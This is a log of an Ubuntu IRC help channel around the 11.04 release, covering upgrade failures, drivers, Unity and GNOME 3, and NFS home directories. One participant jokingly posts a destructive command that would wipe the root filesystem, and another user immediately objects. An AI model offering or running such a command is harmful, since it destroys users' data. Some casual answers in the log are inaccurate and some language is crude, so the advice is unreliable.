[04:49] <lumbert> Is it possible to have ubuntu 11.04 64bit and 32bit and gparted all on one usb stick?  I have 11.04 on the stick now, but I'd like to have access to all three on one stick.
[04:49] <xsinick> Natty is pissing me off
[04:49] <fezzik02> usr13: Screen goes black, hard disk activity for a little bit, then eventually drops signal to monitor and disregards numlock press
[04:49] <histo> xsinick: switch to classic console
[04:49] <ohsix> kellnola: well he said nfs, which is a real thing; i didn't see him mention anything else
[04:49] <ohsix> kellnola: i asked him to elaborate, i could have probably told him what it wasD:
[04:49] <xsinick> histo: ha hah hah
[04:49] <ChronicSyncope> does anyone know how to make 'normal' window  size in compiz not suck
[04:49] <stbain1> histo, I have the firmware installed... still doesn't work
[04:49] <usr13> fezzik02: What happens when you do Ctrl-Alt-F6 ?
[04:50] <nit-wit> lumbert, how are they loaded is it ISO's
[04:50] <fezzik02> usr13: no response
[04:50] <stbain1> ohsix, I freezed when I did the update through the udpate manager
[04:50] <ohsix> lumbert: yes it is
[04:50] <izinucs> lumbert: yes.. I think unetbootin will do that.. it's in the repos
[04:50] <lumbert> not sure about parted magic, but ubuntu 11.04 64/32 are downloaded as such
[04:50] <ohsix> stbain1: after you installed natty but before you installed sta?
[04:50] <usr13> fezzik02: So you can boot recovery mode....?
[04:50] <stbain1> ohsix, the install never finished
[04:50] <fezzik02> usr13: yes
[04:50] <nit-wit> lumbert, pendrive has a linux multiloader
[04:51] <stbain1> ohsix, ended up with black screen... no response, not way to get to console via CTRL+ALT+F1... nada :(
[04:51] <fezzik02> usr13: and oddly, if I press the hard power button for a second, it starts shutting down.
[04:51] <ohsix> stbain1: oh i thought you were having a problem with your wifi, that's while you're trying to install then, no?
[04:51] <fezzik02> usr13: is it because I'm running hybrid SLI?
[04:51] <Nate_> I need help; Natty broke my computer, it won't even start up!
[04:51] <stbain1> ohsix, yes.... so then I just slapped in the Natty CD and formatted everything... now Wifi doesn't work even with a fresh install
[04:52] <fezzik02> nate_: you and me, buddy.
[04:52] <nit-wit> Nate_, upgarde or install
[04:52] <usr13> stbain1:  https://help.ubuntu.com/community/WifiDocs/Driver/bcm43xx/Feisty_No-Fluff
[04:52] <stbain1> usr13, already did that :(
[04:52] <greylurk> Having issues with the Natty installer.
[04:52] <xsinick> :( waaaaaaaaaaah
[04:52] <greylurk> It keeps saying I have too many primary partitions on my disc
[04:52] <teddyroosebelt> its just broke thats all there is to it. b43 drivers is dead as a door nail
[04:52] <Nate_> I did upgrade from 10.10. I restarted, and it said Unity wasn't supported, so I went with GNOME. Then I restarted again and now it won't start up.
[04:52] <ohsix> stbain1: you need firmware if you are using the driver that comes with linux, there is a script in the b43-fwcutter package that does that for you; or you can try installing bcmwl-kernel-source, which is the vendor driver
[04:53] <nit-wit> greylurk, how many do you have?
[04:53] <MrBushido> can i get 11.04 through an apt dist-upgrade or do I need to start from scratch?
[04:53] <ohsix> teddyroosebelt: it still works for me
[04:53] <greylurk> nit-wit 4 primary, 1 extended
[04:53] <stbain1> ohsix, the hardware->additional drivers did all that
[04:53] <ohsix> greylurk: you have too many primary partitions on your drive
[04:53] <teddyroosebelt> ohsix, lucky you.
[04:53] <nit-wit> greylurk, the limit is 3 primary and 1 ext
[04:53] <Jordan_U> greylurk: One of the 4 primary partitions needs to be used for an extended partition.
[04:53] <ohsix> stbain1: ok, i never used thata; and it works for me, dunno what to say
[04:53] <greylurk> nit-wit when did that change?
[04:53] <audhi> ohsix, how to change icons in ubuntu?
[04:53] <ohsix> stbain1: dmesg should say if the driver is finding its firmware
[04:53] <nit-wit> greylurk, always has been
[04:53] <greylurk> jordan_u that's how it's set up
[04:54] <greylurk> /dev/sda1-3 are used as primary
[04:54] <ohsix> teddyroosebelt: luck is a figment of peoples imagination and want for lovely coincidence
[04:54] <greylurk> /dev/sda4 hosts the extended, which is /dev/sda5
[04:54] <audhi> please say soon ohsix.
[04:54] <rhizmoe> i'm still a bit flabbergasted that traceroute isn't installed by default
[04:54] <Jordan_U> greylurk: That's fine.
[04:54] <teddyroosebelt> ohsix, giggity.
[04:54] <xsinick> IM s don't popup like inthe ubuntu video
[04:54] <xsinick> it was a lie
[04:54] <ohsix> audhi: no clue, i just hit customize in the appearance applet
[04:54] <ohsix> xsinick: do you even use empathy?
[04:55] <Jordan_U> xsinick: They do for me with empathy.
[04:55] <xsinick> it comes with ubuntu
[04:55] <fezzik02> Is there some sort of log that I can review to see how the startup process failed?
[04:55] <ohsix> it sure does
[04:55] <ohsix> i was getting to what Jordan_U said already ...
[04:55] <diaoer> why i cant use fetch?
[04:55] <xsinick> not like in the video on the front of the ubuntu site
[04:55] <Jordan_U> xsinick: And for irssi, but that's a script I needed to add manually.
[04:55] <Nate_> Is there a way to start up my computer from Command Line? I can get there...
[04:55] <Robert__> im upgrading but what does this mean: Error mounting: mount: block device /dev/sr0 is write-protected, mounting read-only
[04:55] <Robert__> mount: /dev/sr0 already mounted or /media/Ubuntu 11.04 amd64 busy
[04:55] <Jordan_U> xsinick: What client are you using? What happens when you get an IM?
[04:55] <hanasaki> how do you ad the gnome sensor applet to the panel?
[04:56] <nit-wit> Nate_, was this a fresh install or a upgrade?
[04:56] <hanasaki> its not in the add to panel / applet
[04:56] <ohsix> xsinick: what point in the video are you talking about?
[04:56] <RexAlters> Hi.
[04:56] <RexAlters> How can I setup ubuntu to download music track information?
[04:56] <RexAlters> Thanks.
[04:56] <audhi> Nate_, how to change icon in ubuntu?
[04:56] <RexAlters> As I have just found some old music that I wish to get the music track info automatically.
[04:57] <ohsix> xsinick: or rather what video are you talking about at all, i don't see any video on the front page
[04:57] <RexAlters> Without having to enter everything manually.
[04:57] <nit-wit> Nate_, are getting a grub prompt ...grub> or a grub menu then black
[04:57] <nit-wit> *you
[04:57] <RexAlters> Like how wmp gets the track information automatically.
[04:57] <audhi> Nate_, are you  here?
[04:57] <ohsix> RexAlters: well ubuntu doesn't do it, but there are some programs that you can install on ubuntu that does; like musicbrainz picard
[04:57] <Macer> hm
[04:57] <xsinick> becuase they moved it like aday befor this crap came out
[04:57] <xsinick> on sec
[04:57] <fezzik02> usr13: Ok, I can get root shell in Recovery Console, is there a log of some sort I ought t review?
[04:57] <xsinick> I'll get it
[04:57] <Nate_> Upgrade. I have to hit escape to get to the CLI...just the normal CLI, doesn't say grub
[04:57] <ohsix> xsinick: thank you
[04:58] <Macer> i can't seem to find any information on this :( does anybody know how i can set up a user acct where it will use an nfs as its default home but if the nfs is down it can fall back on a local directory?
[04:58] <RexAlters> Thank you.;)
[04:58] <Jordan_U> Nate_: What is the prompt that you see?
[04:58] <RexAlters> :)
[04:58] <jiltdil> my max,miz button is missing in ubuntu 11.04 how to get it back?
[04:58] <nit-wit> Nate_, what is the graphics card
[04:58] <usr13> fezzik02: Ok tell me again what led up to this failure?  Did the upgrade get inerrupted?
[04:58] <fezzik02> I had 10.10 and Win 7
[04:58] <Nate_> golly, I dont know, but that may be the issue. When I first started it it didnt recognize and forced me to go to gnome
[04:58] <usr13> fezzik02: And..... what happened?
[04:58] <fezzik02> Then I formatted and installed 11.04 alpah1
[04:59] <rumpe1> Macer, well... you just have to script, that if nfs is available, it should be mounted on top of /home/user
[04:59] <Nate_> I think its a NVIDIA??
[04:59] <ohsix> Macer: well how do you know nfs is down? the kernel tries its best to get it to act like a regular filesystem, and that means possibly waiting a very long time if the server isn't reachable
[04:59] <fezzik02> usr13:
[04:59] <fezzik02> usr:13 Then I formatted and installed 11.04 alpah1
[04:59] <Macer> ohsix: you can change those settings in fstab
[04:59] <usr13> fezzik02: Yes.... and then?
[04:59] <Macer> the timeout and retrans
[04:59] <audhi> Nate_, haw to change icons in ubuntu?
[04:59] <nit-wit> Nate_, can you login at the cli, do you ever see a grub menu?
[04:59] <fezzik02> usr13: That didn't work any better than this one, so I waited for 11.04 beta 2, still no joy
[05:00] <Macer> i want it to fall back to a different directory if the nfs hits its retrans mark
[05:00] <stbain1> ohsix, trying the raw ndiswrapper instead of the source
[05:00] <Macer> i don't even know if that is possible tho. i've been looking on google but don't see anything that relates
[05:00] <ohsix> Macer: you still can't really ask "is nfs up?" that's the basic question you need in order to find some software that can do what you want if it's there or not there
[05:00] <Nate_> What is the grub menu exactly? Command line looking thing with a purple background?
[05:00] <ChronicSyncope> window resize 'normal' sucks... how do i fix it?
[05:00] <ohsix> stbain1: raw??? never use ndiswrapper if you can help it; argh
[05:00] <tanath> so, if i upgrade to natty my desktop icons will be gone, yes?
[05:00] <jiltdil> min,max button is missing from ubuntu 11.04,how to get it back?
[05:01] <xsinick> i can't find them on the site
[05:01] <xsinick> they hide them
[05:01] <fezzik02> usr13: then I waited for 11.04 final... and that's it
[05:01] <ChronicSyncope> tanath, if you're not using classic probably
[05:01] <stbain1> ohsix, I know. sucks, but the "canned" version isn't working... worth a shot
[05:01] <xsinick> wooooow
[05:01] <xsinick> wow
[05:01] <fezzik02> usr13: no dice
[05:01] <tanath> ChronicSyncope, classic?
[05:01] <nit-wit> Nate_,  you have upgraded and you don't know what a grub menu looks like?
[05:01] <Macer> ohsix: i don't understand. it is a pretty straightforward question. if i have user home directories on an nfs and the nfs hits its time/retrans limits is there a way to get the server to fallback to a local directory
[05:01] <earthen> hi guys i'm getting an error stating that i need to upgrade the  NVIDIA kernel module has version 270.41.06
[05:01] <ohsix> Macer: it's possible, but you have to decide what it would be, you probably want to copy/cache/sync files from nfs before log on, not try and use nfs and fallback
[05:01] <earthen> how do i do that
[05:01] <ChronicSyncope> tanath, you can choose "classic gnome" when you log in and it looks just like 10.04
[05:01] <ChronicSyncope> tanath, or 10.10 even
[05:01] <audhi> #ubuntu+1
[05:01] <ohsix> Macer: no, it's not a simple question, as there is no fallback mechanism and you can't check if nfs is up or not
[05:01] <tanath> ChronicSyncope, ah, right. so then if not, how would i get at my desktop icons?
[05:02] <rumpe1> Macer, sure it's possible ... write a scripte like " loop ( if nfs available : mount on top of /home/nfsuser ;  if nfs unavailable : unmount it)" ... or something like that
[05:02] <ohsix> stbain1: bcmwl-kernel-source works for me
[05:02] <ChronicSyncope> tanath navigate to ~/Desktop either in the terminal or nautilus
[05:02] <Nate_> OK, i gimaged it...I do know what it is!
[05:02] <usr13> fezzik02: sudo dpkg --configure -a
[05:02] <Nate_> And no, I can't get there.
[05:02] <ohsix> Macer: what happens when nfs comes back when you're using the local directory? what happens when it goes away when you are logged on?
[05:02] <stbain1> ohsix, yah.... no clue why mine isn't
[05:02] <audhi> #ubuntu+1
[05:02] <greylurk> Gah, come on.  I set up this partition structure when I installed 10.10... What is the problem.
[05:02] <ohsix> Macer: what you really want to do is cache offline; and lots of people have done that
[05:02] <fezzik02> usr13: from Recovery Console root terminal?
[05:02] <stbain1> ohsix, but looks like ndiswrapper just saved the day
[05:02] <nit-wit> Nate_, can you login at the cli and run starx
[05:03] <tanath> ChronicSyncope, how would you convert them to something as quick & easy to access as they were before? i've put people on ubuntu who put everything on the desktop...
[05:03] <nit-wit> Nate_, startx
[05:03] <Macer> ohsix: i was just going to set up a cron script to sync the directories every 6 hours or so
[05:03] <jiltdil>  #ubuntu+1 is invite only means?/
[05:03] <arand> jiltdil: Closed.
[05:03] <usr13> fezzik02: Oh, you don't have internet connection...
[05:03] <ChronicSyncope> tanath, i'm not sure, I don't really like unity all that much. It probably has some kind of stacks on the dock though that you could throw them into (I really dont know)
[05:03] <ohsix> Macer: well you can buffet that with pam login/log out scripts that update the cache too, or not even have periodic syncs
[05:03] <arand> jiltdil: Won't open until next cycle starts up
[05:03] <earthen> i'm getting an API mismatch error: the NVIDIA kernel module has version 270.41.03, but this NVIDIA driver component has version 270.41.06.
[05:03] <fezzik02> usr13: maybe I could, natty has been very good with my wifi card i the livecd
[05:03] <earthen> how to fix
[05:04] <ohsix> Macer: there are fuse filesystems that can do caching for you, but they likely wouldn't be enough for your circumstance
[05:04] <jiltdil> arnad: will you help me my 11.04 min,max button also the applet that is in left side is missing
[05:04] <Macer> and being that it will be a fallback home dir and not the actual home dir...i think a fallback would be better.. especially considering size constraints.. i want the fallback dir to just maintain a small amount of information in order to get a user logged in instead of being hung at logging in
[05:04] <tanath> ChronicSyncope, does 'classic' use gnome 3?
[05:04] <Robert__> well it hasn't stoped upgradeing tho
[05:04] <Nate_> I'm trying to get back to command line...it's a chancy thing...
[05:04] <arand> jiltdil: I don't know I'm afraid.
[05:05] <Macer> maybe even display a different motd explaining what is wrong.. but config files would be good to keep in teh fallback driectory
[05:05] <ohsix> Macer: so you want them to be able to log in but not have any of their information or store any changes they make back at the real server?
[05:05] <xsinick> ohsix: like in the video this guy was all talking calmly about how cool ubuntu was and he say now I'm pop up  fom the bottom of the screen so you can typr to people on the fly or continue workinf
[05:05] <xsinick> working*
[05:05] <ohsix> Macer: you could just log them on with a guest session if nfs isn't available
[05:05] <Macer> ohsix: that is a start
[05:05] <xsinick> I don't see that shit yet
[05:05] <Macer> at the least i want the fallback dir to keep their config files from their nfs home dir
[05:05] <ohsix> xsinick: family channel ...
[05:05] <Macer> like .alpine .ssh etc
[05:05] <tanath> i'm used to upgrading like a month before release. this is the first time i actually don't really want to upgrade
[05:06] <arand> xsinick: That's in gnome3...
[05:06] <digirak> upgrading to natty narwhal does not alter my user data does it?
[05:06] <Macer> something that can get them on the system without having it hang and possibly change the motd explaining what is wrong
[05:06] <xsinick> oops
[05:06] <greylurk> *grump* finally got it working by doing a "custom" install, and reformatting my 10.10 install.
[05:06] <Robert__> also something is weird with my work spaces i remember when i first got Ubuntu i could move a window from one workspace to another and now i cant
[05:06] <ohsix> Macer: the . files in the home directories can be arbitrarily large; sounds like the problem you actually want to solve is ill defined
[05:06] <xsinick> lol
[05:06] <ChronicSyncope> tanath, let me check
[05:06]  * jiltdil i think it is better to be stick to 10.10 for some more days
[05:06] <johnqq> hello, why doesnt gnome shell work when i install in natty, it says error has accured and restarts to logon screen
[05:06] <ChronicSyncope> tanath, nope 2.31
[05:06] <Macer> the actual home dirs will be much larger than .files
[05:06] <Macer> and dirs
[05:06] <ChronicSyncope> tanath, nope 2.32.1 **
[05:06] <fezzik02> usr13: Tried startx at the # prompt, whole thing locked up
[05:06] <Macer> but thanks for the help. i will continue looking
[05:07] <ohsix> Macer: in any situation i've seen, if the files aren't available then work can't be done anyways, so they just aren't allowed to log in, you want some sort of middle ground that still allows them to log in?
[05:07] <Macer> ohsix: yes
[05:07] <audhi> can anyone clear my doubt. please!
[05:07] <tanath> ChronicSyncope, hm, thx
[05:07] <ChronicSyncope> tanath, you can install it from the repos though, i believe
[05:07] <audhi>  can anyone clear my doubt. please!
[05:07] <ChronicSyncope> tanath, but it doesn't work with unity AFAIK
[05:07] <Macer> i don't want the login to ever stop due to the nfs being down
[05:08] <audhi>  can anyone clear my doubt. please!
[05:08] <ohsix> Macer: once there are local changes what will you do? if nfs was down for 6 hours the changes might be against files from 6 hours or earlier ago, if they're applied to current files they'd have a nonlinear history that would possibly cause data loss that people would not realize
[05:08] <earthen> i'm getting an API mismatch error: the NVIDIA kernel module has version 270.41.03, but this NVIDIA driver component has version 270.41.06. So do i need to upgrade the Kerne or downgrade my Nvidea driver please help
[05:08] <tanath> ChronicSyncope, there's a number of things i'm concerned about losing on upgrade that will basically cripple me
[05:08] <xsinick>  so are we not running gnome 3?
[05:08] <ohsix> Macer: then you should probably find a way for nfs never to be down :O
[05:08] <rumpe1>  digirak, usually not
[05:08] <audhi> im leaving no one is answering
[05:08] <ChronicSyncope> tanath, you might find it worthwhile to wait then...
[05:08] <Jordan_U> Macer: What good do you expect this to do for the users?
[05:08] <ohsix> tanath: what's that?
[05:08] <ChronicSyncope> tanath, I've been spending the last few hours fixing compiz, lol.
[05:09] <jubei> howdy. Just booted into ubuntu 11.4 aand.. compiz effects are disabled. Trying to eanble the nvidia driver but doesn't seem to be a way
[05:09] <LAcan> does anyone know the repo for backtrack?
[05:09] <jubei> ChronicSyncope, I'm also trying to get compiz to work
[05:09] <Jordan_U> !backtrack | LAcan
[05:09] <ubottu> LAcan: There are some Ubuntu derivatives that we cannot provide support for due to repository and software changes. Please consult their websites for more information. Examples: gNewSense (support in #gnewsense), Linux Mint (see !mint), LinuxMCE (support in #linuxmce), CrunchBang (support in #crunchbang), BackTrack (support in #backtrack-linux), Ultimate Edition
[05:09] <ohsix> tanath: i can try and fill you in if you can give me some things
[05:09] <Macer> Jordan_U: they can still access other servers from the box... but if their home dir goes down i want them to be able to still be able to login to  a... trying to think of a proper word
[05:09] <ChronicSyncope> jubei, I have compiz working. are you in classic or unity?
[05:09] <Macer> contingency directory?
[05:09] <jubei> ChronicSyncope, unity
[05:09] <Jordan_U> LAcan: And we don't support using backtrack repositories with Ubuntu either.
[05:09]  * topramen feels happy
[05:09] <xsinick> http://www.youtube.com/watch?v=lepXx1kDelo&eurl=http%3A%2F%2Fwww.gnome3.org%2F&feature=player_embedded
[05:09] <ohsix> Macer: then have them connect using a guest account, it is easy to do that even
[05:09] <xsinick> how do I get that?
[05:10] <jubei> ChronicSyncope, when I select additional hardware drivers it shows me that the nvidia driver isn't enabled but also has no way for me to enable it
[05:10] <tanath> ohsix, well, from youtube vids there's shortcuts that get stolen away from things i use, like compz scale...
[05:10] <fezzik02> usr13: oddly, failsafex works from the Recovery Console window.
[05:10] <Macer> ohsix: but there are greater options having a fallback directory
[05:10] <greylurk> I like that the installer gives you stuff to do while waiting for the files to copy.
[05:10] <ohsix> Macer: guest accounts create temporary directories & people log in, their changes are obliterated when they log out
[05:10] <tanath> ohsix, i was also thinking of gnome applets like system monitor being removed but i think that might just be gnome 3
[05:10] <Macer> say they DO write files there.. once the nfs is back up they login and can copy them over themselves
[05:10] <tanath> ohsix, also, desktop icons
[05:10] <greylurk> Thanks Ubuntu.
[05:10] <ohsix> Macer: there are also larger unfixable problems, like the nonlinear file history
[05:10] <Macer> ohsix: that is what i am trying to avoid
[05:10] <ChronicSyncope> jubei, does it say "activated but not in use" or is the little circle red?
[05:10] <tanath> ohsix, though that's more important for others i've put on ubuntu
[05:10] <jubei> ChronicSyncope, yes
[05:10] <tanath> ChronicSyncope, yikes. i use compiz heavily
[05:10] <jubei> ChronicSyncope, sec
[05:10] <ohsix> tanath: ah; allow me to allay those fears, even with gnome-shell nautilus and the panel will still be available, as they are now with unity
[05:11] <xsinick> how do I get this coolness? :
[05:11] <Macer> ohsix: isn't time always linear?
[05:11] <xsinick> http://www.youtube.com/watch?v=lepXx1kDelo&eurl=http%3A%2F%2Fwww.gnome3.org%2F&feature=player_embedded
[05:11] <Macer> :)
[05:11] <jasonmchristos> when setting a password for a .zip file does it use encryption (if so what type) or does it just use a basic password access restriction?
[05:11] <Macer> i thought ntpd fixed linear problems
[05:11] <ohsix> Macer: not if you modified a file from 6 hours ago, but you save it over one that has been changed outside of the cached copy
[05:11] <ChronicSyncope> jubei, activated but not in use? that means it's working. but if the light is red, it's not working. I don't know how to solve the not-working problem myself, but i'm sure somebody here has some ideas
[05:11] <jubei> ChronicSyncope, says "This driver is activated but not currently in use", and the circle is green
[05:11] <tanath> ohsix, also i use things like nautilus-elementary... not sure if that'll break
[05:11] <ChronicSyncope> jubei, thats how mine looks, and compiz is working for me.
[05:11] <ohsix> Macer: the problem is offering older copies to the client
[05:11] <jubei> ChronicSyncope, but I don't get my old effects.
[05:11] <xsinick> that looks like fedora to me
[05:12] <newmar> my touchpad doesnt work the scroll when i upgrade how can i fix it
[05:12] <Jordan_U> xsinick: Ubuntu doesn't use gnome-shell or gnome3's notification system by default. If you want an experience like that video you need to install GNOME3.
[05:12] <jubei> ChronicSyncope, and under "Appearance" there's no option to enable effects
[05:12] <rhizmoe> jasonmchristos: it's basic symmetric
[05:12] <Macer> ok. but you are digging too deep into possible problems.. is there a way to do it or not? :)
[05:12] <Jordan_U> xsinick: I mean install GNOME shell.
[05:12] <jasonmchristos> rhizmoe, using aes128?
[05:12] <xsinick> ok
[05:12] <ohsix> Jordan_U: oh he was talking about the gnome webpage D:
[05:12] <celthunder> jasonmchristos: zip files are easily cracked ..not a good method of security
[05:12] <xsinick> doing that now
[05:12] <ChronicSyncope> jubei, install ccsm
[05:12] <Macer> a simple fallback directory is all i need
[05:12] <jubei> ChronicSyncope, ok.
[05:12] <histo> jubei: in natty you have to install compizconfig-settings-manager and change settings under that
[05:12] <jasonmchristos> rhizmoe, what man page would i look at for details
[05:12] <tanath> so i tried to run unity on 10.10 and it didn't work too well. couldn't access the searchy thing that seemed to integrate with the desktop and not accept clicks
[05:12] <ChronicSyncope> jubei, sory compiz-config-settings-manager
[05:13] <Macer> i can figure out the problems that come along as i go alone and refine how it works
[05:13] <xsinick> Jordan_U:  thanks but Ubuntu is not running gnome shell in Narwhal?
[05:13] <Macer> alone/along
[05:13] <jasonmchristos> celthunder, that depends on if it is encrypted or just an acess restriction
[05:13] <Jordan_U> !gnome3 | xsinick
[05:13] <ubottu> xsinick: Gnome 3 is not currently supported on Ubuntu. A PPA for natty is available at https://launchpad.net/~gnome3-team/+archive/gnome3 but these packages are EXPERIMENTAL and UNSTABLE, will break Unity and possibly other parts of your system, and safe downgrading is not possible.
[05:13] <histo> xsinick: no it's running unity
[05:13] <rhizmoe> jasonmchristos: http://en.wikipedia.org/wiki/ZIP_%28file_format%29#Strong_encryption_controversy
[05:13] <Jordan_U> xsinick: Correct. It is using the Unity shell.
[05:13] <ChronicSyncope> jubei, i was wrong again compizconfig-settings-manager sorry xD
[05:13] <ohsix> jeeze that's annoying, and why do they have to publish videos for that stuff? are they trying to be mozilla without actually doing anything interesting?
[05:13] <jasonmchristos> celthunder, i would hope it would at least avoid massive plain file archiving of email attachments
[05:14] <jubei> ChronicSyncope, got it thank you.
[05:14] <xsinick> histo:  thanks
[05:14] <jasonmchristos> rhizmoe, looking
[05:14] <tanath> ohsix, also, from what i've seen on youtube i don't care for the titlebar loss/integration with panel
[05:14] <xsinick> Jordan_U:  thanks
[05:14] <Jordan_U> xsinick: You're welcome.
[05:14] <ChronicSyncope> jubei, no problem, unfortunately i gotta run :( plenty of other people here to help though!
[05:14] <shane4ubuntu> what is the default unity network manager?  the gnome one?
[05:15] <jasonmchristos> rhizmoe, i am aware that old zip files in windows use an acess restriction but the newer winzip programs use aes 128/256 now what is this gnome shell using?
[05:15] <xsinick> why we stoped gnome?
[05:15] <ohsix> tanath: well, that's something else; and you don't have to worry about it, you can just use the classic session
[05:16] <tanath> ohsix, but i want to be able to use/like unity... it has potential and will likely become standard... i need to be able to make things work to my liking or adapt things
[05:16] <tanath> ohsix, i dislike when features are removed or break others though
[05:16] <ohsix> tanath: theres not a lot of room for that, they're designing an experience
[05:16] <nmvictor> Ubuntu asks for a password to "Unlock my login Key ring" every time I login, what is up with that? Can I disable that?
[05:17] <ohsix> nmvictor: you can change your password to match your keyring password, or vice versa
[05:17] <tanath> ohsix, i'm concerned about losing my hard-fought-for efficiency
[05:17] <tanath> ohsix, and lack of annoyances :p
[05:17] <xsinick> I think it's time to switch to fedora
[05:17] <ohsix> fedora does have a lot of upstream oomph
[05:17] <celthunder> fedora fails...
[05:17] <greylurk> RPM has long been a good package manager.
[05:18] <ChronicSyncope> i'm thinking about trying debian or arch
[05:18] <gratidude> nmvictor: are you using any password-protected wifi network, that tries to connect when you bootup?
[05:18] <ohsix> but i'd hate to dip outside of the repos for something as trivial as ffmpeg or stuff that uses it
[05:18] <greylurk> But ubuntu just works.
[05:18] <ACameron> Any reason I should have gotten this error while upgrading? "The upgrade has aborted. Your system could be in an unusable state. A recovery will run now (dpkg --configure -a)."
[05:18] <Souperman> yes, upgrades never go well
[05:18] <Tully_> and they take forever
[05:18] <ChronicSyncope> ACameron, you're not _supposed_ to get errors :p
[05:19] <xsinick> greylurk: fedora looking nice about now doesn't it?
[05:19] <celthunder> ChronicSyncope: go for arch it totally rapese debian
[05:19] <esx> Arch ftw.
[05:19] <Tully_> just do a sudo mv -r /* /dev/null and install from disk
[05:20] <greylurk> xsinick dunno haven't booted up unity yet.
[05:20] <arand> Tully_: Please don't
[05:20] <xsinick> greylurk: let me predict... Dude you gonna hate it  as it is now
[05:20] <S-M-Gl> hello, can someone tell me why gnome 3 does not load when installed in natty, it gives an error, and no other sessions work when gnome3 is installed either?
[05:21] <celthunder> S-M-Gl: what's the error
[05:21] <Jordan_U> !gnome3 | S-M-Gl
[05:21] <ubottu> S-M-Gl: Gnome 3 is not currently supported on Ubuntu. A PPA for natty is available at https://launchpad.net/~gnome3-team/+archive/gnome3 but these packages are EXPERIMENTAL and UNSTABLE, will break Unity and possibly other parts of your system, and safe downgrading is not possible.
[05:21] <greylurk> xsinick dunno.  I can always just go to slackware 13.37
[05:21] <xsinick> !gnome
[05:21] <ubottu> GNOME is the default !desktop environment on Ubuntu. To install it from Kubuntu or Xubuntu, type « sudo apt-get install ubuntu-desktop » in a !terminal.
[05:21] <xsinick> !gnome | S-M-Gl
[05:21] <ubottu> S-M-Gl: please see above
[05:21] <celthunder> S-M-Gl: whats the error?
[05:22] <arand> xsinick: S-M-Gl: installing that won't help...
[05:22] <Medfordite> Hey all - Great work!  Can anyone tell me if/when broadcom support for the Compaq V5000 (Broadcom B43 I believe) will be ready?
[05:22] <xsinick> !gnome 3 | S-M-Gl
[05:22] <nmvictor> gratidude: yea, sometime that comes up and after key in the password, some wireless starts to connnect, but right now their is no wifi-hotspot around, I just enter the password and thats it. Please, how do I disable this, its silently annoying
[05:22] <xsinick> !gnome3 | S-M-Gl
[05:22] <ACameron> ChronicSyncope: yeah, I know. :) But I didn't cancel the installation, and the only problem was with monodoc-base.
[05:22] <ubottu> S-M-Gl: Gnome 3 is not currently supported on Ubuntu. A PPA for natty is available at https://launchpad.net/~gnome3-team/+archive/gnome3 but these packages are EXPERIMENTAL and UNSTABLE, will break Unity and possibly other parts of your system, and safe downgrading is not possible.
[05:22] <tanath> yikes. good to know you can't safely downgrade from gnome 3...
[05:22] <Tully_> anyone know of a good multithreaded download manager that integrates with firefox and supports batch downloads?
[05:22] <S-M-Gl> celthunder: sorry didnt pay too much atention because was more concerned on the fact that no session worked so had to purge the ppa.
[05:23] <Medfordite> Tully - Downloadthemall (downloadthemall.net)
[05:23] <greylurk> Gah!  Downloading packages, 24 minutes remaining?  Wish they just included those on a DVD release.
[05:23] <celthunder> Tully_: Dta
[05:23] <tanath> Tully_, jdownloader
[05:24] <greylurk> Medfordite Download the mall?  Sounds like fun.
[05:24] <xsinick> rgoytacaz:  did the  card work after rebooting?
[05:24] <Medfordite> Download Them All :)
[05:24] <celthunder> Medfordite: that driver should work already
[05:24] <alkisg> What's the recommented way to install google earth in Natty? To download the .deb from google, or from medibuntu, or from e.g. a partner repository?
[05:24] <Tully_> thanks all, will check it out
[05:24] <nmvictor> How is Natty, for those who have gotten their hard disks filled with it,  any major bugs I might wanna avoid coz I am dying to press that upgrade button on my Update manager
[05:24] <tanath> greylurk, one day i will rule the mall!
[05:24] <Medfordite> Celthunder - Not seeing the Restricted drivers listing the driver like usual as in 10.10 or 10.04.
[05:24] <celthunder> Medfordite: b43 i've seen used before
[05:25] <blahdeblah> Any experts on initramfs & mdadm present?  I have a server which fails to mount the root filesystem on reboot.  It drops into the busybox shell claiming that there's no root filesystem.  A simple mdadm --auto-detect fixes it and the system continues to boot.  Why is this happening, and how can i get the mdadm process to continue without intervention?
[05:25] <lumbert> nit-wit ; thanks i'll check that out
[05:25] <greylurk> tanath one ring to bring the mall, and in the darkness bind it!
[05:25] <ybit> heyo
[05:25] <tanath> greylurk, bind the mall?
[05:25] <rgoytacaz> Well, Ubuntu 11.04 works only post-install if you try to restart it fails and doesnt boot anymore
[05:25] <tanath> greylurk, how about blind? (ring = bling)
[05:25] <gratidude> nmvictor: There is a "Available to all users" option that you can enable in Network Manager's config for that wifi connection, and that will stop the system from prompting you to enter the keyring password before connecting you to wifi. Are you using auto-logon?
[05:26] <Medfordite> Hmmm...another issue, attempting install of grub boot loader now at the moment for the Server version and it is erroring out with the update-grub function.  2 hard drives, installing to the master drive.
[05:26] <UbuntuNoob> hi, im trying to get minecraft to work on ubuntu 10.10 and it wont seem to open. ive read a bunch of ways to fix a black screen, but i havent even gotten that. i enter a name and click ok, but i dont get any screen afterwards. does anyone know how to fix this?
[05:26] <greylurk> tanath I think you're on to something.  My version just ends up with a big mall of twine.
[05:26] <rgoytacaz> Also NVidia drivers, ONCE AGAIN, doesn't work on release, this is getting annoying.
[05:26] <celthunder> Medfordite: so? find the broadcom modules and install them and load them if they don't work use ndiswrapper
[05:26] <tanath> greylurk, :D
[05:26] <rgoytacaz> and Im on certified hardware. :(
[05:26] <celthunder> Medfordite: regardless b43 support works one way or another
[05:26] <xsinick> rgoytacaz:  i agree and i think i
[05:26] <ybit> i briefly googled and i lazily looked at the results, so i'm going to instead ask in here..
[05:27] <xsinick> I'm gonna switch to fedora
[05:27] <greylurk> crap... Now its' 26 minutes left.
[05:27] <ybit> is there a fix for the crappy new scrollbars?
[05:27] <lsheeba> the upgrade process without network dont work somehow , it keeps retrying to connect to internet then it says failed to fetch and restores and closes when following this link https://help.ubuntu.com/community/NattyUpgrades  ( im upgrading using alternate cd without wasting a cd , just mounted through terminal and used the run command to execute the upgrade dialog box )
[05:27] <celthunder> rgoytacaz: blame nvidia...or use the open source drivers...which work quite well
[05:27] <greylurk> Somehow I'm on Microsoft minutes.
[05:27] <carandraug> rgoytacaz, I feel your pain. Someone should shot the guys from nvidia for not releasing their drivers for free
[05:27] <taglass> xsinick: lol switching to Fedora because of video driver troubles is probably about the3 worst move you could make.
[05:28] <rgoytacaz> celthunder: if oss works well, why does Ubuntu choose to install the nvidia one by default? Dont we learn?
[05:28] <ybit> found the fix, phew
[05:28] <DigitalUn1corn> I'm having a problem where I go to click on things within a window, but it selects stuff from the window behind it.  Anyone know of a fix?
